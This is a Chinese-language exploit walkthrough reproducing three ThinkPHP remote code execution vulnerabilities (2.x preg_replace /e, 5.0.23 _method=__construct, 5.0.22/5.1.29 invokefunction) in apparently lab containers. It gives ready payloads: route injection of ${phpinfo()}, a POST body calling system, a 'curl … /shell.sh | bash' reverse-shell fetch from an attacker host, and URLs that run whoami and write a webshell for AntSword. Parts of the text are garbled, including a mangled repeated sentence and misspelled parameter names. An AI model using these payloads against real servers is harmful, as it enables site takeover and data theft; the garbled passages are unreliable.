ThinkPHP(2-rce)任意代码执行漏洞
漏洞详情:
使用了危险函数preg_replace的/e模式匹配路由:
Preg_replace函数执行一个正则表达式的搜索和替换
Preg_replace(mixed $pattern,mixed $replacement,mixed $subject)
Preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
$pattern:要搜索的模式,可以是一个字符串或者一个字符串数组
$replacement:用于替换的字符串或者字符串数组
$subject:要搜索替换的目标字符串或字符串数组
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞
这个连接对preg_replace进行了详细的说明:
https://www.php.net/manual/zh/function.preg-replace.php
漏洞复现:
打开环境:
可以利用在线PHP平台来测试
7.0以下的版本都存在/e代码执行的漏洞
可以进入到docker容器里查看匹配规则:
利用exec -it xxx /bin/bash
进入到容器里并使用终端命令
找寻这个函数
find . -name '*.php' | xargs grep -n 'preg_replace'
copy出来到一个新文档里,发现存在这样一行:
这里便是漏洞的关键
做以下分析:
- \w匹配中文,下划线,数字,英文 +是匹配一次或无限次
- V匹配中间的/
- ([^W])[]是定义匹配的范围
^在[]内是非的意思
这里的意思是匹配非[//]的字符 - $PathInfo[\'\\1\']="\\2"这里\是转义
转义后$PathInfo['\1']="\2"
- 代码可执行的位置只能为值,而非键
- 数组v a r 在路径存在模块和动作时, ‘ 会去除掉前 2 个值 ‘ : t h r e e : 而数组 var在路径存在模块和动作时,`会去除掉前2个值` :three:而数组var在路径存在模块和动作时,‘会除掉前2个值‘:three:而数组var来自于$paths =explode($depr,trim($_SERVER['PATH_INFO'],'/')); $var['\1']="\2" 这里双引号引发函数执行,了解为什么${}会执行,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行
thinkphp路由的格式是分组/模块/操作名/参数
/index.php?s=1/2/3/${phpinfo()}
123随意构造
构造一句话木马连接webshell
修复建议:
更新至最新版本
5.0.23-RCE
漏洞概述:
在获取
漏洞危害:
可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄露等问题
漏洞利用:
先利用Bp抓包
修改请求方式
使用POC进行攻击:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
这里可以反弹shell
先写好反弹shell到sheel.sh里
可利用该URL
https://forum.ywhack.com/shell.php构造bash命令
开启http服务以及监听8888端口
进行执行:
curl 192.168.170.130:9999/shell.sh | bash
成功反弹shell
RCE-5
漏洞原理:
在版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
影响版本:
5.0.22/5.1.29
漏洞利用:
打开环境:
POC利用
?s=/Index/\think\app/invokefunction&functinotallow=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27l
/index.php?s=index/think\app/invokefunction&functinotallow=call_user_func_array&vars[0]=system&vars[1][]=whoami
这里构造POC连接webshell
/index.php?s=/index/\think\app/invokefunction&functinotallow=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
写入后应当显示这个界面,去docker看看是否写入
用antsword连接
修复建议:
更新至最新版本